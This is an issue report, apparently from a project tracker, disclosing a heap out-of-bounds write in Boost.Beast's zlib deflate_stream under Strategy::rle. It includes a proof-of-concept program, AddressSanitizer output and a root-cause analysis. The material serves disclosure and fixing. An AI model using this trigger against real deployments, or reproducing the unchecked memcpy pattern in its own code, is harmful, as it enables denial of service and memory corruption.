Missing pending-buffer size cap in Strategy::rle triggers out-of-bounds write in copy_block
- Dominant language
- C++
- Stars
- 4.8k
- Forks
- 694
- Avg merge
- 12h 48m
- Merged PRs (30d)
- 1
Description
# Missing pending-buffer size cap in Strategy::rle triggers out-of-bounds write in copy_block
### Version of Beast
- `BOOST_BEAST_VERSION` 360 (`boost/beast/version.hpp`)
- commit `56a7c3af4901d0c63c7c1149d79bbf8856341343` (`boost-1.91.0-16-g56a7c3af`)
- Also reproducible with Boost 1.83 / `BOOST_BEAST_VERSION` 347 (system package) and earlier releases — the missing check is long-standing.
### Steps necessary to reproduce
1. Install a recent Boost and clang, e.g. on Ubuntu:
`sudo apt install libboost-dev clang`
2. Save the program below as `poc.cpp`
3. Build and run:
`clang++ -fsanitize=address -g -O1 -std=c++17 poc.cpp -o poc && ./poc`
```cpp
#include
#include
#include
#include
namespace zlib = boost::beast::zlib;
int main()
{
// Documented-valid configuration (deflate_stream.hpp:107-115):
// memLevel=1 -> internal pending buffer is 512 bytes
// level=0 forces a stored block
// Strategy::rle routes to f_rle, which (unlike f_stored) does not
// cap the stored-block size against pending_buf_size_.
zlib::deflate_stream ds;
ds.reset(0, 9, 1, zlib::Strategy::rle);
std::vector input_data(508, 'A');
std::vector compressed(
zlib::deflate_upper_bound(input_data.size()) + 64);
zlib::z_params zp;
zp.next_in = input_data.data();
zp.avail_in = input_data.size();
zp.next_out = compressed.data();
zp.avail_out = compressed.size();
boost::system::error_code ec;
ds.write(zp, zlib::Flush::finish, ec);
return 0;
}
```
Observed (ASan, clang 18.1.3, Boost 1.83 / Beast 347):
```
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 508
#1 deflate_stream::copy_block deflate_stream.ipp:1334
#2 deflate_stream::tr_stored_block deflate_stream.ipp:1393
#3 deflate_stream::tr_flush_block deflate_stream.ipp:1488
#4 deflate_stream::flush_block deflate_stream.ipp:1703
#5 deflate_stream::f_rle deflate_stream.ipp:2258
#6 deflate_stream::deflate_rle deflate_stream.hpp:683
#7 deflate_stream::doWrite deflate_stream.ipp:433
#8 deflate_stream::write deflate_stream.hpp:299
#9 main poc.cpp:27
```
The 508-byte write overruns the 512-byte pending buffer by **1 byte**. The overrun is not limited to 1 byte: with a 60 KB input and `windowBits = 15` (same config), the first flush produces `WRITE of size 32509` (~32 KB past the 512-byte buffer); with `memLevel = 2` it produces `WRITE of size 60000` (~59 KB past the 1 KB buffer). So the primitive is a genuine heap out-of-bounds write whose size scales linearly with input length.
### Expected behavior
The stream should either cap/split the stored block so it fits the pending buffer, or grow the buffer. With `memLevel = 1` the pending buffer is 512 bytes (`pending_buf_size_ = lit_bufsize_ * 4`, `lit_bufsize_ = 1 << (memLevel + 6)`); a 508-byte stored block plus its 5-byte header needs 513 bytes, so `copy_block` writes 1 byte past the buffer. The overflow grows linearly with input length (observed 32 KB+ writes with larger inputs and `windowBits = 15`).
### Security Impact
Genuine heap out-of-bounds write (CWE-787): the overflowed bytes are caller-controlled input, and the overrun grows with input size (from 1 byte up to ~32-59 KB per flush in our tests). Potential risk is corruption of adjacent heap data and denial of service under ASan; exploitation was not demonstrated. Practical exposure is limited: triggering requires the unusual documented-valid configuration (`memLevel ≤ 2`, `level = 0`, `Strategy::rle`), and no default integration path uses it.
### Root cause (brief)
`copy_block` (`deflate_stream.ipp:1319-1336`) writes the stored-block body with `std::memcpy(&pending_buf_[pending_], buf, len)` and no check against `pending_buf_size_`. The `f_rle` finish path (`deflate_stream.ipp:2255-2261`) flushes the whole accumulated input as a single stored block (`tr_flush_block` forces a stored block when `level == 0`, `deflate_stream.ipp:1473-1488`), whereas the sibling `f_stored` path explicitly caps the block at `pending_buf_size_ - 5` (`deflate_stream.ipp:1863-1868`). `f_rle` has no such cap.
### All relevant compiler information
- clang version 18.1.3 (Ubuntu), flags: `-fsanitize=address -g -O1 -std=c++17 -fno-omit-frame-pointer`
- libboost-dev 1.83 (`/usr/include/boost`, `BOOST_BEAST_VERSION` 347)
- Also reproduced with the same flags on commit `56a7c3af` (`BOOST_BEAST_VERSION` 360)
### Submission Statement
This report was produced by FuzzAnything's AI-assisted library fuzzer and manually verified by a team member. We reviewed the PoC against the upstream API documentation — call order, parameters, and memory ownership — and found no API misuse.
> Signed-off-by: FuzzAnything
Contributor guide
Assessment
This issue has not been assessed yet.